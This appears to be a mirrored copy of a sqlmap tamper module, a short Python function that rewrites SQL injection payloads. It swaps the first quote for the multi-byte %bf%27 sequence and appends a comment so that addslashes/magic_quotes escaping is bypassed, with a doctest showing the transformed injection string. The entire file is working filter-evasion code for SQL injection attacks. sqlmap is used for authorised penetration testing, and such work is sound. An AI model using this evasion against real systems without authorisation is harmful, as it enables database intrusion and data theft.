mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-24 18:43:47 +03:00
54 lines
1.3 KiB
Python
54 lines
1.3 KiB
Python
#!/usr/bin/env python2
|
|
|
|
"""
|
|
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import re
|
|
|
|
from lib.core.compat import xrange
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.NORMAL
|
|
|
|
def dependencies():
|
|
pass
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)
|
|
|
|
Notes:
|
|
* Useful for bypassing magic_quotes/addslashes feature
|
|
|
|
Reference:
|
|
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
|
|
|
|
>>> tamper("1' AND 1=1")
|
|
'1%bf%27-- -'
|
|
"""
|
|
|
|
retVal = payload
|
|
|
|
if payload:
|
|
found = False
|
|
retVal = ""
|
|
|
|
for i in xrange(len(payload)):
|
|
if payload[i] == '\'' and not found:
|
|
retVal += "%bf%27"
|
|
found = True
|
|
else:
|
|
retVal += payload[i]
|
|
continue
|
|
|
|
if found:
|
|
_ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
|
|
if _ != retVal:
|
|
retVal = _
|
|
retVal += "-- -"
|
|
elif not any(_ in retVal for _ in ('#', '--', '/*')):
|
|
retVal += "-- -"
|
|
return retVal
|